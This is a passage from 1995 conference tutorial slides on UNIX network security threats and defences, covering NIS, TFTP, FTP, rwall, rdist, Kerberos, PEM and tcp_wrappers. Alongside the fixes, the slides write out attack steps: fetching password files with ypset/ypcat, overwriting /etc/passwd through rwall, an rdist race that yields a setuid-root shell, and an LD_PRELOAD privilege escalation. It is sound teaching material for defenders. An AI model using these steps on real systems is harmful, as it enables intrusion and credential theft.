To test the configuration of your server (or a client, if you suspect it is not using the NIS database): % /bin/login login: + Password: anything login incorrect Good version. If after typing the "+" you get a "#" prompt, your system is not configured correctly and you should change the lines in the password file as suggested in the previous slide.
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 95
The "+" and "-" Features (group)
This has 3 uses:
+ insert the contents of the NIS group file
+name insert the entry for name from the NIS group file; a non-null password, or user_list field in the local password file overrides the NIS value
-name disallow the group name
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 96
Example
The local group file has:
cs58:.51ijLgvehlvC:10:mab,heidi group cs58 has GID 10, members matt and heidi
+project:::matt,holly project has members matt and holly, and GID and password as in NIS record
-hackers: the group hackers is to be ignored
+: interpolate the NIS group file (modulo the above changes)
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 97
The "+" and "-" Features (hosts.equiv)
This has 3 uses:
+ insert the contents of the NIS group file
+@name all members of the netgroup name are trusted
-@name no member of the netgroup name is trusted
WARNING: often implemented incorrectly
The latter two can appear as hosts (the "trust" refers to the hosts) or as users (the "trust" refers to the users)
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 98
Example
The local hosts.equiv file has: bear eleazar matt
+@cshosts All computers in the netgroup cshosts are trusted
+@engineer +@csstudents Users in the netgroup csstudents are trusted if they log in from hosts in the netgroup engineer
-@engineer All hosts in the netgroup engineer are not trusted (unless a csstudent is making the connection)
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 99
Disclosure
NIS intended to obtain requests for information and respond with that information
The attackers simply:
* guessed the large site's domain name and bound their client to it
ypset -d yourdomainname
* asked for the password file
ypcat passwd
This would have worked with shadow password file too!
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 100
ypx
Tries to guess domain name, then grabs password file if it succeeds
Tries various permutations of the given host name, plus anything else you like
Get it from:
ftp.uu.net:usenet/comp.sources.misc/volume40/ypx
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 101
Fix
* modify the NIS server program ypserv to respond only to specific hosts
most vendors have patches to do this
* change domain name to make it very hard to guess
if you see domain names like "cs12354312", that's why
* force users to choose unguessable passwords, and live with it
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 102
Warning
If your host is a server to diskless workstations, it has a bootparam daemon
this may be /etc/bootparamd, ./usr/etc/rcp.bootparamd, etc.
Attack: guess a client's name or address, and send it over; in return, you get the NIS domain name
Cannot be avoided for servers! How else could a client get its own domain name?
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 103
Spoofing NIS
ypserv is the program on the server that responds to requests
ypbind is the program on all NIS'ed machines that figures out which ypserv to contact (by broadcasting) and returns that information to the client
so, change the "binding" of ypbind to your own version of ypserv, which supplies what you want the victim to get (rather than the real information)
Example: send over a password file with your entry having UID and group IDs of 0. Then log into that server remotely ...
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 104
Spoofing NIS (2)
How? If ...
*you are on the same net as both the NIS server and requesting client
*you see the request before the server does
*you can get your answer to the client before the server's arrives
the client will believe you!
Example: send over a password file with your entry having UID and group IDs of 0. Then log into that server remotely ...
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 105
ypbind
To make ypbind ignore all replies from ypservs which are not running on a trusted port:
ypbind -secure
This would require an attacker from a UNIX machine to become root to begin his/her own version of ypserv
It would not stop attackers from non-UNIX machines (they can simply forge packets ...)
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 106
Other Ways
Same Goal: get /etc/passwd
* tftp
Technique used to grab password file of one large Internet access provider
* anonymous ftp
Used at a different site, but in the same attack; works at most such sites!
* NFS File Handles
Works with any file
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 107
TFTP
A version of FTP that does no authentication whatsoever
* used by diskless Suns to boot
TFTP protocol does not specify any constraints
Tftp implements no access control, so it can grab any file that its user (usually daemon) can read
... this includes the password file
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 108
tftp Test
Test for good or bad version: % tftp tftp> connect host tftp> get /etc/motd tmp Error code 1: File not found tftp> quit Good version. If the file transfers, you should get a later version.
contact your vendor for this. The large Internet access provider's version failed.
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 109
FTP
protocol for transferring files from one host to another; allows anonymous access
~ftp
bin etc pub
remote host
ftp protocol
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 110
Anonymous FTP
To set this up right:
* create ftp account, with disabled password and a home directory (say, /usr/spool/ftp)
* home directory unwritable by anyone and owned by root
* make bin subdirectory, containing ls, unwritable by anyone and owned by root; ls executable only by everyone
* make pub subdirectory; if world writable people can put things in; if not, they can just extract things
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 111
More Anonymous ftp
* make etc subdirectory, copy password file in and delete all lines except the one for ftp; copy group file in, delete all lines except the one the ftp user is in and the one the ftp daemon is in; etc should be unwritable by anyone and owned by root
Most sites seem to forget the part about deleting everyone else from the password file
* effect: anyone using anonymous ftp can get your password file
And the attackers did just that
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 112
Brian Reid's Attack
Brian noticed he had UUCP passwords for several sites
He used ftp to connect to thos systems as the uucp user
He got the standard ftp interpreter, so he could grab any files owned by UUCP - such as L.sys
It worked.
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 113
Dangers of FTP
To prevent this:
create a file called "/etc/ftpuser"s and put login names not to be allowed ftp access:
uucp ingres root audit will reject any ftp attempts by the users uucp, ingres, root, or audit
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 114
NFS File Handles
The "file pointer" passed to all programs accessing a file using NFS
* guess a file handle and you get access to the file
* key part: the file's inode number
Usually rather random, except that the root of the file system usually has inode number 1
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 115
Randomizing Inode Numbers
Use the program
fsirand device
to randomize the inode numbers of files; this makes guessing the inode number of a specific file much more difficult
Warning don't do this with the file system mounted!!!
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 116
Some Other Problems
Here are some miscellaneous network problems:
* sync account
* selection_svc
* rexd daemon
* rwall
* rdist
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 117
sync Account
telnets to target, tries to log in as sync
If target supports dynamic loading and the program sync(1) uses it, one can access a privileged account by using the load path bug:
* write your own version of the library called sync(2)
* build a dynamic load file in your home directory
* set LD_PRELOAD to be your home directory
* do login -p sync
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 118
Fixes
* put a password on the account
purpose is to enable quick, automatic sncing of disks over network - so this defeats the account's purpose
* make its UID unprivileged
idea is to allow attacker in but make sure she can't do anything; dangerous to allow any kind of access unless the account is very restricted
* make sync(1) statically, not dynamically, loaded
best solution; also, it's easy enough to write a syncing program (4 lines of C) so it can actually be done whether or not you have source!
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 119
Selection Services
With selection_svc:
* anyone can ask for what was selected last (paste)
* anyone can tell it what to select
Moral: very easy to read a screen if this is running
Fix:
Disable this service
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 120
rexd(8)
With rexd:
* anyone can spoof it by writing an imitation on command
* This can give access to the password file, or to another's account
How? Give them a new .rhosts ...
Moral: easy to break into a system if rexd is running
Fix:
Disable this service
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 121
rwall Bug
problem: you can overwrite system files using rwall
rwall uses /etc/utmp to see where users are logged on and writes to anything, even non-ttys
host% edit utmp to put ../etc/passwd as first 13 chars
host% create a replacement password file, with ^J as first char
host% rwall local < replacement_password_file
and the password file is changed
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 122
rwall Fixes
Fixes:
* alter rwall to write only to ttys
* make rwall setgid to group, not setuid to root
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 123
rdist Hole
problem: there is a race condition between a file's creation and installation (chown)
rdist creates an intermediate file in /tmp, then installs it when the original file contents are inserted
host% do an rdist of any huge file on remotehost; suspend once started
host% rlogin to remote host
remotehost% cd /tmp
remotehost% rm rdistxxxxx; ln -s /bin/sh rdistxxxxx and /bin/sh is now setuid to root
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 124
rdist Fix
Fix:
* modify rdist to use fchown, not chown
Goal is to make sure the file that is opened has its ownership changed, not one substituted for the open file
fchown changes owner of the open file, not of any file with the same name as the one opened
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 125
ISS
Very useful program that scans for some common network holes:
* sync account * info-giving daemons (ypserv, rusers,
* decode, uudecode, bbs, mount, name, x26, bootparam, rexd,
guest, lp accounts selection_svc)
* sendmail debug, wiz * guess domain name
* ftp accounts with incorrect * file systems exported
permissions * list of users
Get latest free version (1.21) from
ftp.uu.net:usenet/comp.sources.misc/volume40/iss
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 126
SATAN
Similar in function to ISS, but looks for some extra things (at least, compared to the free version of ISS)
* NFS export to unprivileged programs, export via the portmapper, unconstrained export
* NIS password file access
* rexd, unconstrained tftp services available
* latest version of sendmail
* wildcards in hosts.equiv or .rhosts
* unrestricted X server access
* ftp directory world writable
Available from:
ftp.win.tue.nl:pub/security/satan.tar.Z
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 127
Reading Network Packets
*Use tcpdump(1) or a similar program: - put workstation into promiscuous mode (using ifconfig(8) and pfconfig(8)) if needed (ULTRIX) - su to root if needed (SunOS) - set permissions of /dev/bpfn if needed (BSD) - run tcpdump or write your own filter to filter the packets
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 128
Software
tcpdump is freely available
Anonymous ftp from ftp.uu.net:networking/ip/trace/tcpdump
nfswatch is too
Anonymous ftp from ftp.uu.net:networking/ip/nfs/ nfswatch4.0.tar.Z
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 129
Vampires
windsor tam
rlogin who, pwd
xyz
attacker on xyz can see password and account of user on windsor
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 130
Where to Get This
PHRACK
PHRACK volume 45, look for the words "JOIN THE POSSE"; this is tailored for password sniffing, and works REAL well see previous
slight modifications to standard network tools will also do this
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 131
Network Encryption
prandtl wookie
other host
wookie sends message to prandtl
other host can read it, alter, replace, or delete it
network encryption not done
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 132
Authentication
Need authentication technique which does not send passwords over the wire
* example: Sun's Secure RPC
Not appropriate for situations where some sort of validation of identity has to be made to many servers rather than just one
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 133
Needham-Schroeder Protocols
* Used for authentication in a network
* Require an authentication server that can supply requested information from a secret key
* Protocols for both classical, public-key cryptosystems
* Minor bug, subsequently fixed by Denning and Sacco
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 134
NS: Classical Cryptosystem
authentication server AS
A B
A,B,Ia {Ia,B,Sk,{Sk,A}Kb}Ka
{Sk,A}Kb
{Ib}Sk
{f(Ib)}Sk
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 135
NS: Classical Cryptosystem (2)
Ia is an identifier used by A exactly once (a nonce)
* B knows message came via AS as it is encrypted in a key known only to AS and B
* B knows session key Sk was produced by AS for the same reason
* B knows AS is vouching that the other party is A
* B knows this is not a replay due to thew Ib handshake
As B trusts AS, A knows communication came from A, and B can use the session key Sk
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 136
NS: Flaw in Classical
Suppose C obtains Sk and records {SK,A}Kb. Then
C B
{Sk,A}Kb
{Ib}Sk
{f(Ib)}Sk
and B now thinks it is talking to A!
Fix: assign f to pairs and keep secret.
How: if done via AS, same as key problem; if done directly, swap keys directly and forget about this protocol
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 137
NS: Denning and Sacco Modification
All encrypted messages include a timestamp T. Then
C B
{Sk,A,T}Kb
{Ib}Sk
{f(Ib)}Sk
Now B checks that T is "acceptably close" to its current time (this being no more than the server's clock drift wit respect to the local clock, plus any network delay)
Note: AS also sends A {T, B, Sk, {Sk, A, T}Kb}Ka
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 138
Kerberos
Authentication system developed for use in Project Athena at MIT
* uses Needham-Schroeder protocol with Denning and Sacco modification
Basic idea:
* each user and service shares a secret (DES) key with a trusted server, the authentication server
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 139
Basic Units
* Ticket: used to pass identity of person to whom ticket issued; contains: client name server name time of issuance validity interval IP address of client
session key
* Authenticator: identity of service requester client name IP address of client
time of authenticator creation
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 140
Logging In
username, TGS client workstation authentication server {{Ttgs}Ktgs,Ksess,...}Kuser
Client now decrypts reply using the user's password Kuser; if it's valid, the password is deleted from memory and the ticket and session key Ksess are stored
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 141
Obtaining a Ticket for a Service
service,{Ttgs}Ktgs,{Acl}Kc-tgs client workstation authentication server {{Tc,s}Ks,Kc-s}Kc-tgs
Sent: service name, ticket to use the TGS, and authenticator
Server: verifies authenticator matches ticket, issues reply
Received: ticket for service encrypted in service's key, a session key
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 142
Using a Ticket to Get a Service
{Acl}Kc-s,{Tc,s}Ks client workstation desired server
{timestamp + 1}Kc-s
Sent: authenticator encrypted with session key, ticket encrypted with server's key
Server: decrypts ticket to get session key, decrypts authenticator, compares; if all well, performs access control
Received: if requested, server sends back an encrypted nonce to authenticate itself
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 143
Problems
* You need a physically secure computer that is not generally accessible
since the authentication server stores all keys in plaintext; if an intruder gets these, your authentication scheme is useless
* The keys are resident on the system
On a single-user machine, that's okay; on a multi-user machine, if the other user is an attacker, .... This is why it should never be used as anything other than a user-to-user (service) authentication scheme (eg, server-to-server is bad)
* Replay is possible
Authenticators are valid for 5 minutes, so a dedicated attacker could simply wait until a user logs in and logs out after accessing a service (printing a file or reading mail); then replay.
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 144
More Problems
* Kerberos is designed for single-user hosts
so if I become you on a multiuser host (using su or anything else where I give your password), Kerberos won't help you
* The tickets are stored in /tmp
This is done so they can be shared among processes - but all I need to do is copy one, or try to deny you service by deleting your ticket
* Trojan horses still work
so I can get whatever you have access to if you use one of my rigged programs ... whether or not I have your ticket
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 145
Electronic Mail
* I forge a letter to Dorothy Denning from the chairman (Peter Denning) raising her salary
and run into her office and tell her she'll enjoy her mail ...
* student at major university forges a note informing official he's fired; note not seen for several days, then disrupts an office until forgery discovered; FBI called in
forging mail can be fun; but it can have vicious consequences
* browsing root's mail is SOP for attackers
to see if root is onto them, or is mailing out passwords
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 146
Current State of Electronic Mail
* anyone can read electronic mail whether or not they are the recipient or sender (two parties may agree to encrypt messages, though)
* the name in the "from" or "sender" field(s) may be incorrect; it must be verified out of band
* electronic mail can be altered undetectably
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 147
Privacy-Enhanced Electronic Mail
* provide confidentiality to electronic mail
* provide sender authenticity
* provide message integrity
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 148
MHS Model
UA
MTA MTA MTA
UA UA User Agents
Message Transfer Agents
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 149
Design Constraints
* do not redesign existing mail system or protocols
* whatever is proposed must be compatible with a range of MTAs, UAs, and PCs
* privacy enhancements must be available separately (i.e., not required)
* two parties should be able to use the protocol to communicate without prearrangement
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 150
Basis
define separate data encryption, interchange keys
* encrypt messages, possibly compute Message Integrity Check quantities with DEKs (Data Encryption Keys)
* encrypt DEKs with IKs (Interchange Keys) and enclose in header of messages
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 151
RSA Cryptosystem
* encrypt, decrypt using modular exponentiation: c = m mod n and m = c mod n where e and d are chosen so that ed mod f (n) = 1
* can get both confidentiality and authenticity
* As (n, e) is public key, choose e to be a publicly known exponent (either 3 or 2^16+1)
* Choose n to be at least 512 bits (initial recommendation of X.509; they recommend further study)
e d
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 152
Confidentiality
To send a secret message:
Alice encrypts message using Bob's public key
Alice Bob
Bob decrypts message using his private key
Bob replies using Alice's public key
Alice Bob sends reply
Alice decrypts reply using her private key
sends message
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 153
Authentication
To send a signed message:
Alice encrypts message using her private key
Alice Bob message
* anyone can read message as Alice's public key is publicly known
* no-one can forge message as Alice's private key is known only to Alice
Sylvester
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 154
Private Mail
To send:
* Get Interchange Key of recipient
* Obtain a Data Encryption Key and transform message
* Encrypt the DEK using the IK and put in message To Read:
* Extract encrypted DEK from letter
* Use IK to decrypt it
* Use the DEK to decrypt the message
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 155
Integrity Checked, Authenticated Mail
To send:
* Generate a Message Integrity Code (MIC) possibly using a DEK
* Encrypt it using IK
* Put this value into the message To verify:
* Decrypt the MIC using the IK
* Calculate the MIC locally and compare with sent one
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 156
IK Management
IKs may be:
symmetric: sender, recipient share same IK (private key cryptosystems)
asymmetric: sender, recipient have different IKs (public key cryptosystems)
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 157
IK/User Association
Problem : Say I ask the public key database for Bill CLinton's public key. How can I be sure I get it and not Robert Dole's public key?
Answer: Bind the public key to Bill Clinton's name in the form of a certificate
This is called certificate based key management
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 158
Certificates
ORGANIZATIONAL (affiliation with issuer) issuer /C=US/O=University of California at Davis/ subject /C=US/O= University of California at Davis /OU=Department of Computer Science/CN=Matt Bishop/
RESIDENTIAL (no affiliation with issuer) issuer /C=US/SP=CA/L=Davis/
subject /C=US/S=CA/L=Davis/PA=27 Russell St./CN=Matt Bishop/ PERSONA (anonymous subject) issuer /C=US/O=Certificate Warehouse/ subject /C=US/O=Certificate Warehouse/CN=Irene Fisher/
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 159
Sending Message
* local form : enter the message as though it were normal mail
* canonical form: convert the message to a canonical form such as inter-SMTP representation (RFC-821, RFC-822)
* authenticate and encipher (next slide)
* printable encoding: map bit stream into 64 character subset of IA5 (6 bits per character), using = for padding (may be omitted if sending non-confidential mail)
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 160
Authentication & Encipherment
* compute Message Integrity Check (MIC)
* encrypt using DES in CBC mode, padding with n octets of 0x0n (if necessary)
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 161
Encapsulation
Header fields per RFC-822
blank line
-----BEGIN PRIVACY-ENHANCED MESSAGE BOUNDARY-----
Encapsulated header fields (not transformed)
blank line
Encapsulated text portion (transformed)
-----END PRIVACY-ENHANCED MESSAGE BOUNDARY-----
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 162
Detecting Network Attacks
Looking for places where attackers might try to connect to your system
* goal is to get access to your system in any way
superuser privileges can follow, if needed What services are relevant or known to be attacked?
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 163
Important Files
/etc/services lists service, port and protocol, and aliases: smtp 25/tcp mail
time 39/udp timeserver
/etc/inetd.conf lists service name, socket type, protocol type, wait/nowait, user, and command ftp stream tcp nowait root /usr/etc/ftpd ftpd tftp dgram udp wait nobody /usr/etc/tftpd tftpd
echo stream tcp nowait root internal
/etc/hosts
lists IP address and host names
10.0.0.3 att.com mabell
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 164
Some Worrisome Services
Services to be careful with:
* the BSD 'r' commands (ports 512, 513, 514)
* Sun 's RPC and NFS (ports 111, 2049)
* X and Openwindows (ports 6000* and 2000*)
* TFTP (port 69)
* lpd (port 515)
* UUCP (port 540)
* link (port 87) intruders seem to love this port ...
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 165
What to Do
Generally do not want to block them
* disable those you don't need (comment out the lines in /etc/inetd.conf)
* try to block external connections using a firewall or a wrapper package
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 166
Software
tcp_wrapper is freely available from Weitse Venema
Anonymous ftp from cert.org:pub/tools/tcp_wrappers
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 167
Goals
* Log origination of all incoming connections
* Allow the site to filter such connections
* Allow the site to act based on the originator
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 168
Overview
Assumes a "master network daemon" to which all requests go and which in turn spawns all services
inetd(8) on BSD is an example Have the master daemon spawn a "wrapper" which does the security stuff
The wrapper then spawns the correct service program
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 169
In Pictures
inetd
dae1 dae2 dae3
inetd
dae1 dae2 dae3
tcpd
daemon name
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 170
/etc/inetd.conf
ftp stream tcp nowait root /usr/etc/in.ftpd in.ftpd
tftp dgram udp wait root /usr/etc/in.tftpd in.tftpd -s / tftpboot
becomes
ftp stream tcp nowait root /usr/etc/tcpd /usr/etc/in.ftpd
tftp dgram udp wait root /usr/etc/tcpd /usr/etc/in.tftpd -s /tftpboot
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 171
Access Control
Based upon (daemon name, client host) pair:
/etc/hosts.allow allow constrained access
/etc/hosts.deny do not allow access
pair not in either allow unconstrained access
If remote user name available, client name may include user as user@host
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 172
Precautions
* does double name lookup (IP from connection, get name, look up its IP address)
if addresses differ, either break connection or name host "unknown" (and log it as such)
* can prevent source routing
external host spoofs local one; messages to local stay local unless masquerader has turned on source routing
* can use ident protocol to get user name
bad idea in that ident is not under control of a trusted host (usually); also, only works for tcp (stream) connections
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 173
Example: Open System
Access permitted unless explicitly denied
in /etc/hosts.deny:
ALL : windsor.dartmouth.edu .army.mil
this denies access to all services from the host windsor.dartmouth.edu and any host in the domain .army.mil
ALL EXCEPT in.fingerd : .dartmouth.edu
this allows hosts in the domain .dartmouth.edu (except for windsor) to access the finger daemon, but no other daemon
no /etc/hosts.allow file
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 174
Example: Net with Terminal Server
Don't allow the terminal server to access any service except telnet; no non-local hosts can access anything
in /etc/hosts.allow:
ALL : LOCAL EXCEPT request
ALL : .ucdavis.edu EXCEPT request.ucdavis.edu
in.telnetd : request.ucdavis.edu request
in /etc/hosts.deny:
ALL : ALL
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 175
Example: Act on Allow
Allow all accesses, but reverse-finger host
in /etc/hosts.allow:
ALL : ALL : ( /etc/safe_finger -l @%h |\ / usr/ucb/mail -s %d-%h netgal ) &
No /etc/hosts.deny file
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 176
Example: Act on Deny
Allow all accesses, unless the user is "bishop" trying to rlogin or telnet in
no /etc/hosts.allow file
in /etc/hosts.deny:
in.rlogind in.telnetd : bishop@ALL : ( echo \ ha-ha-ha-ha-ha | /usr/ucb/mail %c ) &
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 177
Example: Selective Name Lookups
Do name lookups on any connection except those from ucsd.edu
in /etc/hosts.allow:
ALL : .ucsd.edu ALL@ALL
Name lookups are normally done only when trying to match a user name; as matching .ucsd.edu does not require a user name, the lookup is not made then. No /etc/hosts.deny file
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 178
UUCP
General overview:
* bidirectional protocol for remote command execution
* remote system logs in as user
* commands executed from restricted shell called uuxqt
bear uucp connection hydra
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 179
Transaction
Any request, exchange of data, or requesting of remote command execution is a transaction
UUCP is a protocol enabling two computers to perform a series of transactions
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 180
How It Works
uucp bear!~/matt/answers ~/holly/answers
* request queued
* after some time, uucico run; it calls bear, logs in (as a uucp user)
* bear starts a uucico command
* your system sends the request
* bear's uucico queues request, starts uuxqt (which executes the request) executes the request
* your system gets the data
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 181
Versions of UUCP
* 4.3 BSD UUCP, heavily based on the original UUCP
* HoneyDanBer UUCP, a complete rewrite for System V (and first distributed with System V Release 3, but available for older versions)
* UUCP for Version 7 UNIX Systems: a few bugs
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 182
Important Files: Aliases
"L.aliases":
real_name alias_name
If alias_name logs in, it is really real_name
Example:
if bear used to be kodiak, the "L.aliases" file on systems it called might contain
bear kodiak
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 183
Important Files: Calling Systems
"L.sys"
system times caller class dev/phone login_protocol
The "login_protocol" describes what your computer should send when the remote one prompts:
ogin: ubear ssword: hello_there
note the cleartext password
This file should not be world-readable, and should be owned by uucp
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 184
Important Files: Called by Systems
"USERFILE"
login,system [c] path_name [ path_name ...]
login name of remote machine's login
system name of remote system
c if present, no transactions; remote machine called back first
path_name prefixes for accessible directories
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 185
More About USERFILE
* if system not named in "USERFILE", no transactions are allowed
* if calling system not named in system field, uucico uses first line with matching login and null system field; if no such line, no transactions allowed
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 186
Still More USERFILE
